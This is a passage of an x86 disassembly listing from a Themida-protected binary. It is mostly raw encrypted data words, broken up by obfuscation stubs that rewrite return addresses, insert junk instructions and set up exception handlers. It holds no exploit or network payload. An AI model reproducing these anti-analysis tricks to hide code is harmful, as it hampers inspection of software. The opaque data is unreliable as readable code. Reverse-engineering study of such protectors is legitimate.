		dd 9ACBB58Bh, 0DE97B198h, 0B0DE0CE5h, 8FDBB326h, 0AD123D7Dh
		dd 0D22C07BCh, 47D17A42h, 5A37B681h, 7A38CC3h, 1D3BF69Ch
		dd 0E5DECF54h, 841E7B8h, 1433991Fh, 0D80EB5E7h,	49B97AEh
		dd 24C26DB6h, 4DD297BBh, 0B66FDC5Ch, 0E748DE97h, 0A6A00D44h
		dd 2DC054Bh, 2930F16Ah,	5CC7430Ah, 0F0BBD39h, 0F502DC05h
		dd 263C615Ah, 53D09DBDh, 3D51DE5Ah, 0CB6A3B78h,	49226B0Ah
		dd 541D3BE4h, 7132B9CFh, 2DF6DFE2h, 0F84E0726h,	307D3457h
		dd 863FA02Ah, 3EEEC3Fh,	0E6322B6Eh, 0F19h, 59BA3C00h, 227B733Ah
		dd 9AE65066h, 48332375h, 8C1158FFh, 0F4397013h,	0E340092Bh
		dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh,	60CD84A4h
		dd 4AD792BFh, 4EC83FAh,	51241489h, 0C181E189h, 4, 4E981h
		dd 0C870000h, 0C895C24h, 0E3895324h, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 52243489h, 790F6DBAh, 3BF2814Bh, 894DD5CBh
		dd 24148BD1h, 4C481h, 0DF680000h, 89000003h, 4812424h
		dd 424h, 89535E00h, 85E89CBh, 81241C8Bh, 4C4h, 24348B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dd 5037AB0Dh, 689A5350h, 7CB836C4h, 306ACC8h, 3FE0FFC5h
		dd 19161727h, 0C072A38Fh, 9F313024h, 675D50E6h,	837A87D1h
		dd 3160FD8Dh, 0E6797DD3h, 901AE7CAh, 715B59BBh,	7D4C3998h
		dd 191F1E91h, 361CD489h, 0F44A4CD2h, 0C66F85EFh, 227AA053h
		dd 0EB56AAE9h, 0DB096CB4h, 0B5CEBC1h, 0EB4E9EE1h, 22298491h
		dd 1E797C38h, 51607041h, 0CF7A7482h, 8D366943h,	0A8338585h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 230FE68h, 0CA3677B2h, 5752508Ah,	5B5B5F50h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E937C357h, 7,	0B9A3F4F9h, 6AEED422h
		dd 6A006A00h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 70C9C357h, 11350D0Eh, 5A1BD09h
		dd 858D06A8h, 6ACCBDFh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 8AC35646h, 0C55C7E3Ah, 0B82F18F2h, 11E800h
		dd 2B460000h, 0D50C45A0h, 4D9E8818h, 8C22C15Eh,	0BFA6B6FAh
		dd 61C5ECB0h, 0B99D8B5Bh, 8306A80Fh, 0B50105C0h, 6A80AFDh
		dd 52505090h, 310FD98Bh, 585AD98Bh, 0D8B70F90h,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 22632EC3h, 6AD37626h, 68D0F00h, 8B000000h, 0A81A819Dh
		dd 4195FF06h, 6A06A825h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0F29FC355h,	3F6E595Ah
		dd 8D8D5978h, 6AB8C7Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0C2C35747h, 9CDD2FA3h, 49069375h, 987BF66h
		dd 0FFCFEB81h, 0D1FF4E65h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0B2C35545h, 23E2E81Fh, 8300F380h, 0A8339DBDh
		dd 850F0106h, 0BCh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 9FC35545h, 30526748h,	0E86448D6h, 12h
		dd 4DCE8AB3h, 6A68400Eh, 5C0F3021h, 29BDBEE4h, 0BB66CD9Dh
		dd 665B4911h, 6A5CBCBFh, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 3A0AE4B8h, 5D1912FEh
		dd 1CD78166h, 5250501Eh, 11E8h,	0B7E23400h, 0C661414Eh
		dd 99221C35h, 3233E3FFh, 5F567630h, 0F310F5Bh, 283h, 5A5B5600h
		dd 24048958h, 0CE8h, 0BAC4EC00h, 58BADE26h, 322FD27Eh
		dd 0DA8B6674h, 2D9D295Fh, 0FF06A806h, 0A81E1D95h, 0F9BF0F06h
		dd 0DF8E9h, 0E800h, 815D0000h, 0ACCBE9EDh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 851D88ADh, 0D3801100h, 919D03C0h, 6006A82Ah,	0E91AB866h
		dd 14819D8Bh, 8D6106A8h, 0AB7E2E85h, 8D9D8B06h,	5006A802h
		dd 4896FB3h, 0C9BD2324h, 8906A801h, 0A81DF99Dh,	35FF6406h
		dd 0
; ---------------------------------------------------------------------------
		sub	di, 3ECDh
		mov	large fs:0, esp
		mov	bh, al
		inc	dword ptr [ebp+6A833F1h]
		push	0
		push	ecx
		call	sub_596677
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596677	proc near		; CODE XREF: Themida_:0059666Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_596677	endp

; ---------------------------------------------------------------------------
		db 16h
		dd 0BBFF6A75h, 515F1F87h, 2071B5FFh, 5E806A8h, 73000000h
					; CODE XREF: Themida_:loc_5973B4j
		dd 14B8E316h, 1011BD89h, 0FF5F06A8h, 0A82A7D95h, 11AE906h
		dd 8D890000h, 6A80CA9h,	0BD8900B0h, 6A813E9h, 0BD8B70E6h
		dd 6A807C9h, 0BD8B71E4h, 6A82B91h, 830F613Ch, 0F4h, 0FDBBF0Fh
		dd 0BB66C8B6h, 6BADEDAh, 66000000h, 0DAF6D381h,	8B66C18Bh
		dd 4E8C1DAh, 3029BD8Bh,	0F76606A8h, 66E781E2h, 2B5B6E5Bh
		dd 38C0FC8h, 0F000000h,	0D18BD9BFh, 11E9h, 0FA8CA00h, 8F7E3FC4h
		dd 6E87006Bh, 7EAD9B1Dh, 0B70FBBEDh, 9EE9D9h, 8B660000h
		dd 1858BFBh, 89000000h,	0A8303DB5h, 7C08306h, 0C083F98Bh
		dd 18D8900h, 3B06A828h,	1D830FD0h, 0E9000000h, 10h, 44AD1982h
		dd 0D7C37E2Bh, 3438351Ah, 8A0AD42Eh, 5FE9h, 0F9BF0F00h
		dd 0FFFF8D8Bh, 0FE8FFFFh, 0BC000000h, 51A077CCh, 909A6B59h
		dd 0D6BBD405h, 8D01ACB1h, 6A81101h, 1E1835Bh, 32840Fh
		dd 880F0000h, 11h, 5E8h, 1E231900h, 9D8BBEA0h, 6A80E81h
		dd 0FFA5835Bh, 0FEFFFFFFh, 0F533BB66h, 19589h, 25BB0000h
		dd 0E95BC9E1h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6AC420Eh]
		push	0
		push	eax
		call	sub_5967DD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5967DD	proc near		; CODE XREF: Themida_:005967D5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5967DD	endp

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edx
		mov	edx, 521991Ch
		sub	ebx, [ecx-77h]
		popf
		xor	dword ptr [ecx], 6AF506A8h
		add	[ebx-57F93663h], cl
		push	es
		mov	di, 1EFh
		call	dword ptr [ebp+6A81B31h]
		push	0
		push	eax
		call	sub_59681A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59681A	proc near		; CODE XREF: Themida_:00596812p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_59681A	endp

; ---------------------------------------------------------------------------
		sbb	[edx+0F7FB9h], esi
		add	[edx+0], ch
		push	eax
		call	sub_59683C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59683C	proc near		; CODE XREF: Themida_:00596834p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_59683C	endp

; ---------------------------------------------------------------------------
		dd 0F1E60084h, 0BF663725h, 8B661068h, 0FCE183F9h, 2B18501h
		dd 9D8B06A8h, 6A82AF9h,	50006AFCh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 9D8B3A19h, 6A80CBDh, 0B589C02Bh
		dd 6A82DD9h, 0BAh, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 11A0B9Ch, 0DD9D2351h
		dd 5B06A81Fh, 12860Fh, 66600000h, 7E8FB8Bh, 49000000h
		dd 6FEC608h, 615E11CEh,	0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 6C35040h
		dd 8D89F59Dh, 6A80E45h,	880Dh, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0D1C59572h
		dd 401E43B6h, 0CF812458h, 3C28672h, 27B1BD09h, 958B06A8h
		dd 6A805B9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0DAC35343h, 0E86C47ADh,	7, 50B68C3Eh, 89C38319h
		dd 0A82FB9BDh, 81665B06h, 8B7DF6DFh, 0A814698Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 450A9198h, 0DAB70FEEh, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 85895818h, 6A814DDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 8CC35343h, 8F8F63Fh, 5328282Fh
		dd 5BFABF0Fh, 91BD83F8h, 6A80Ch, 25840Fh, 9D8B0000h, 6A80C45h
		dd 0B8h, 8D8DF500h, 6A84FAFh, 341D9D8Bh, 0E1FF06A8h, 1B2D9D8Bh
		dd 26BB06A8h, 832587D2h, 0A80BBDBDh, 840F0006h,	48Eh, 58F0Fh
		dd 6EBB0000h, 832A6148h, 0A80BBDBDh, 840F0106h,	491h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D1C35242h, 0D3811219h
		dd 219D56C8h, 0D17892BBh, 0BDBD8374h, 306A80Bh,	425860Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 5EC911C3h, 8B136E25h, 0A81A999Dh,	8D016006h
		dd 6A81761h, 80D98C66h,	6A04E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0FC3D4C3h, 68Ch, 35B58900h
		dd 0A06A81Bh, 54840FC9h, 8B000001h, 0A80BE185h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 34D84799h, 0FCF17F8Eh, 899529A4h, 3306A81Fh,	0A81D5D85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 3A33CB7Dh, 0F87FBFEDh, 870AEF81h, 0F88A3F41h
		dd 48D0F50h, 66000000h,	893EE6BBh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4DA063C3h
		dd 9D8B006Ah, 6A81F35h,	8C0Fh, 0D2680000h, 0E8FE7D1Ch
		dd 10h,	0CBEE4F4Ah, 0DB5D7F4Ah,	0E5AC9F5h, 0FF44F157h
		dd 132DBF66h, 2404815Bh, 1A1E72Dh, 1B95BD31h, 95FF06A8h
		dd 6A80741h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0EEC35242h, 0F88B1892h,	895AEB80h, 0A828A995h
		dd 27858906h, 6A06ABA2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 16CDC350h, 9E375955h
		dd 0EBE63A62h, 14E8h, 0B26E100h, 77C40754h, 0D943E788h
		dd 111A3B97h, 0EF32E06Ah, 8C0FD8h, 5F000000h, 204E9h, 9D896000h
		dd 6A820E5h, 19858589h,	8B6106A8h, 0ABA21F85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 21DDF07h, 7E9h, 98C63A00h, 0A1A8FCD5h, 1800C7h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 5B51B8C3h, 0A223B58Bh, 6A06ABh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0C3600AC3h, 3D9D89h
		dd 858B06A8h, 6A82B7Dh,	14FD8589h, 68906A8h, 0CE98D89h
		dd 858B06A8h, 6A80BE1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0B8C35343h, 8EBF660Ch, 44689A8h, 1E880Fh
		dd 13E80000h, 87000000h, 1830D41Ch, 8213DFDDh, 4D264B51h
		dd 82B6FEF6h, 8166EAD6h, 5BE6E2D7h, 0FB8B6650h,	0FF243489h
		dd 0ABA21FB5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 50452C70h, 3F0868FEh
		dd 9D23DF92h, 6A80FC1h,	3B868768h, 14E986h, 81430000h
		dd 0ADD949A5h, 2CF9004h, 1298BDE7h, 0ED3F4923h,	48168B2h
		dd 0E37D7824h, 83C7BB79h, 858D6D2Dh, 6ABA227h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1FC35545h, 9F0013C5h
		dd 1A332BA7h, 0DE999h, 958F0000h, 2C52CF0h, 5FB33035h
		dd 90BE9E5Bh, 7E9h, 209A1B00h, 55B151C8h, 8E850h, 5D240000h
		dd 4784D022h, 905B3A1Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0CFC35747h, 0FF558855h, 0A8074195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B2DE595h, 0FE9F8h, 0FF130000h, 54D520BDh, 41CF2579h
		dd 1207C290h, 880F6108h, 15h, 10E9h, 0C9A2AF00h, 11D1A6C9h
		dd 0AB51A57h, 0E9CEAE81h, 0BD85C732h, 306A80Bh,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0B7D1C355h, 7E9FBh, 0C2240000h, 18DDD3h
		dd 27BD832Ah, 6ABA2h, 19840Fh, 0B5890000h, 6A80579h, 29E9h
		dd 9D016000h, 6A819F5h,	0D9C7E681h, 506107BCh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0ADB7C08Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B0C35646h
		dd 33D792A7h, 0DB3AE906h, 0E18501D8h, 8306A829h, 0A80BBDBDh
		dd 850F0306h, 490h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0F9C35141h, 24D6E781h, 0BD830B72h, 6ABA227h
		dd 61840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0BFB1C355h,	0A71D6213h
		dd 0BD8B1EB9h, 6A81101h, 0A227B5FFh, 6A06ABh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F9E493C3h
		dd 15F995FFh, 10E906A8h, 0B0000000h, 433F3F8Bh,	6309A631h
		dd 0AB9EBE27h, 8B8C212Eh, 0ABA21BB5h, 2DBB6606h, 71B5890Dh
		dd 0C706A817h, 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 968BD9BFh, 8E0F2CD9h
		dd 5, 0B1EE06BBh, 0D59D314Fh, 9606A81Bh, 4860Fh, 0BB660000h
		dd 0F502C5Eh, 1889h, 13E900h, 0FD370000h, 22AC3641h, 0B1337849h
		dd 2C6962E7h, 37F50ACh,	0BD019698h, 6A80969h, 0A227B5FFh
		dd 666006ABh, 8D89D18Bh, 6A81491h, 9995FF61h, 6A06A821h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0BA4CC351h, 0CA17B91Eh, 0C5B7C351h, 14E8h
		dd 0E2EF9C00h, 58A74630h, 5ACE4165h, 7207624Dh,	5CA36923h
		dd 5850F38h, 0BB000000h, 32CC9BB3h, 1BB58B5Fh, 0E806ABA2h
		dd 0Ah,	0E7AA5693h, 7B7A9895h, 8D89AF67h, 6A82DD5h, 41858B5Bh
		dd 8B06A80Eh, 0A82769BDh, 0C4868906h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 3BE0C350h, 0BD8B9EADh, 6A81665h, 5B9958Bh, 6A06A8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BF661FC3h, 0C283E179h, 68D0F04h, 89000000h,	0A8021D95h
		dd 20508906h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	0E3C35141h, 216A046h, 858DE8B7h, 6ABB7CEh, 0C5DBD8Bh
		dd 868906A8h, 0B8h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 14C35343h, 362F96F9h,	8DD03B2h, 89F9B70Fh
		dd 0A81E6195h, 599D8B06h, 6A06A81Dh, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0CFA88A3Dh
		dd 0DA8BC28Ah, 0A227B5FFh, 6A06ABh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 9F3F2BC3h
		dd 60DF3CECh, 81FDBA66h, 6860Fh, 0B5290000h, 6A80085h
		dd 51E38161h, 0FF37630Eh, 0A81E1D95h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 9094953Bh, 3489503Fh, 27B5FF24h, 8B06ABA2h, 0A806459Dh
		dd 6995FF06h, 8106A82Ah, 96AFFBF3h, 3DBD8352h, 6A82Eh
		dd 47840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 180424h, 51410000h, 1F3091C3h, 6650A446h, 3489DA8Bh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 8B66DC47h, 27B5FFFEh, 8106ABA2h,	0EB8D8CF7h
		dd 8595FF37h, 6A06A831h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 481DC350h, 0FE8h, 0B5B91C00h
		dd 13FA1377h, 65CBCFCFh, 54D9AE12h, 901B589h, 0FF5F06A8h
		dd 0ABA227B5h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 9D8B686Ah, 6A81471h, 0F8DB509h
		dd 95FF06A8h, 6A80F55h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 8BC35646h, 0FB5EE79Dh, 1F81B531h, 0BD8306A8h
		dd 6A8077Dh, 67840F02h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 7F09C350h
		dd 8171ECC2h, 0F78166CBh, 0BB66C1D8h, 0C3810A0Ah, 5306A254h
		dd 0D19858Bh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 8ADAA4C3h, 2A7E60EFh, 66CE5F80h
		dd 2389C381h, 660000C6h, 85C7DF8Bh, 6A80DC1h, 0
; ---------------------------------------------------------------------------
		xor	[ebp+6A82B31h],	eax
		jmp	loc_5973B4
; ---------------------------------------------------------------------------
		db 94h
		dd 0C0A2848Dh
; ---------------------------------------------------------------------------


loc_5973B4:				; CODE XREF: Themida_:005973AAj
		jmp	near ptr dword_596688+1
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5973C4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5973C4	proc near		; CODE XREF: Themida_:005973BCp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5973C4	endp

; ---------------------------------------------------------------------------
		dd 4659C27Ah, 878A624Eh, 8B6674D8h, 23C18BD8h, 0A80E8D9Dh
		dd 85858D06h, 6A06A833h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0E5CCC353h,	504EABFEh
		dd 4895B57h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 3F25694Dh, 0BD01D8A9h, 6A81F41h
		dd 5360006Ah, 8B5E6160h, 0A80E4D8Dh, 6A6106h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9FC35646h, 8155B484h
		dd 0F3FC94D3h, 0F595296Dh, 8D06A832h, 0ACDBE785h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 89279CA7h, 0A81465BDh, 5C08306h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 37C35343h, 0EAEA7A71h, 0BBEAB57Ah
		dd 0ABC78166h, 2BF5082h, 89483302h, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 19C2BAC3h
		dd 0FE9h, 0D3DCBA00h, 8CCAE837h, 0D94EDFE2h, 5DF728B4h
		dd 6AD98B66h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 7E73C832h, 0A224BF66h, 26299D33h
		dd 6A06A8h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Ch,	0D2C35545h, 87CD064Fh, 19471055h, 9B99D8Bh, 95FF06A8h
		dd 6A82541h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	32C35545h, 7513681Fh, 0E53E9D20h, 5E9h,	9DADE800h
		dd 8D8DCEA9h, 6AB8C7Fh,	169D9531h, 0D1FF06A8h, 0BD83FB8Bh
		dd 6A8339Dh, 41850F01h,	9000000h, 0A80609BDh, 81026A06h
		dd 0EAEE8DE7h, 8B665048h, 240489FAh, 0F8FFBF0Fh, 1E1D95FFh
		dd 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0C781FCC3h, 51FF8853h, 0D48E9h, 0E800h, 815D0000h
		dd 0ACDBF1EDh, 55B50906h, 6A06A80Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8980C356h
		dd 0A805658Dh, 1BD8906h, 0F06A826h, 858DF9BFh, 6AB7E2Eh
		dd 870F90h, 50000000h, 7E9h, 0C5F57F00h, 0B8969871h, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0D9B789FAh, 35FF64h,	89000000h, 0A82AE98Dh, 0BF605206h
		dd 3EE5E400h, 0F258D01h, 5B6106A8h, 258964h, 9000000h
		dd 0A80C25BDh, 0F185FF06h, 6A06A833h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B24C353h
		dd 0FF6AFE22h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	45C35040h, 0FF7488Fh, 14E9D9B7h, 0AA000000h, 0AA7EE086h
		dd 3F6C85Fh, 0F994FC41h, 0CFACD916h, 0FF054BEEh, 0A801B1B5h
		dd 3D958906h, 0FF06A81Bh, 0A82A7D95h, 12BE906h,	860F0000h
		dd 6, 8FD8529h,	9D2906A8h, 6A82145h, 9D3300B0h,	6A81681h
		dd 9D8B70E6h, 6A81FB5h,	9D0971E4h, 6A82ABDh, 830F613Ch
		dd 0F9h, 5ADDE381h, 0B60F61A3h,	800F60C8h, 6, 0E31F681h
		dd 0BD016125h, 6A80B91h, 6BA61h, 8D890000h, 6A80929h, 0C1F5C18Bh
		dd 0BD2904E8h, 6A81009h, 52E2F766h, 5FDA8B66h, 800FC82Bh
		dd 5, 0A6DD73BFh, 66D18B50h, 8BD72FBFh,	0A3E9F9h, 0BD890000h
		dd 6A80079h, 4858Bh, 85010000h,	6A80DCDh, 5307C083h, 0C0835Bh
		dd 0AE9h, 4A3E2800h, 605CAB74h,	3B1CF025h, 30830FD0h, 0F000000h
		dd 6AE9FBB7h, 0E8000000h, 0Eh, 18989307h, 143080B5h, 9C6AD33h
		dd 8E81B43h, 0C0000000h, 0BE2F6E49h, 0FCF6F56h,	84h, 8B5F5F00h
		dd 0FFFFFF8Dh, 558D89FFh, 8306A82Ah, 840F01E1h,	2Dh, 0FFFFA583h
		dd 0E8FEFFFFh, 0Eh, 3F9A28E1h, 20F059F4h, 2398544Eh, 8D31DFCFh
		dd 6A81C2Dh, 495895Bh, 0F9000000h, 0E9h, 8DB58D00h, 6606AC51h
		dd 6AF88Bh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Bh,	0CAC35646h, 8BB10F3Bh, 0E8C1412Eh, 7, 0C6C8CF36h
		dd 8B8E2FBEh, 95FF5FD9h, 6A81B31h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0C1C35040h,	26523554h, 34D59D8Bh
		dd 2B906A8h, 0F00000Fh,	0E183FAB7h, 14E9FCh, 14980000h
		dd 31F11A9Bh, 0C31C2404h, 3629E42Dh, 3E7D74C4h,	8BFC1A45h
		dd 0A816919Dh, 0B806h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 3CD04AC3h, 0D22B5C43h
		dd 0DE8h, 0FA1E5D00h, 0E4226970h, 8A783A34h, 10E97785h
		dd 76000000h, 6A45D1Eh,	0A08F2D84h, 0BB4C8AF9h,	5FD6E0AEh
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0FDCD780h, 880DFEB7h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0B415C350h, 0ED8F9044h, 68F0FC2h
		dd 2B000000h, 0A81A8D9Dh, 0ED9D8B06h, 8B06A82Fh, 0A805B995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0F807AE7h, 14698D8Bh, 0BD0306A8h, 6A80AA5h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 8311E5C3h, 800F513Bh, 6, 830Fh, 0B5F0000h, 0A805C19Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0CE4A5836h, 0E5FA750Dh, 9D8B04DCh, 6A82CC5h
		dd 0C91BD83h, 0F0006A8h, 4A84h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 1585891Eh
		dd 0B806A821h, 0
; ---------------------------------------------------------------------------
		jge	loc_597A52
		jnp	loc_597A52
		mov	[ebp+6A80F51h],	edi


loc_597A52:				; CODE XREF: Themida_:00597A40j
					; Themida_:00597A46j
		lea	ecx, [ebp+6A84FAFh]
		xor	ebx, [ebp+6A80EF5h]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	di, cx
		cmp	dword ptr [ebp+6A80BBDh], 0
		jz	loc_597E9F
		cmp	dword ptr [ebp+6A80BBDh], 1
		jz	loc_597EBA
		mov	ebx, eax
		cmp	dword ptr [ebp+6A80BBDh], 3
		jbe	loc_597E84
		push	0
		push	esi
		call	sub_597A97
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597A97	proc near		; CODE XREF: Themida_:00597A8Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_597A97	endp

; ---------------------------------------------------------------------------
		cmp	[eax+7Dh], ebp
		mov	ch, al
		cmpsd
		pop	edx
		pusha
		push	0
		push	edx
		call	sub_597ABA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597ABA	proc near		; CODE XREF: Themida_:00597AB2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
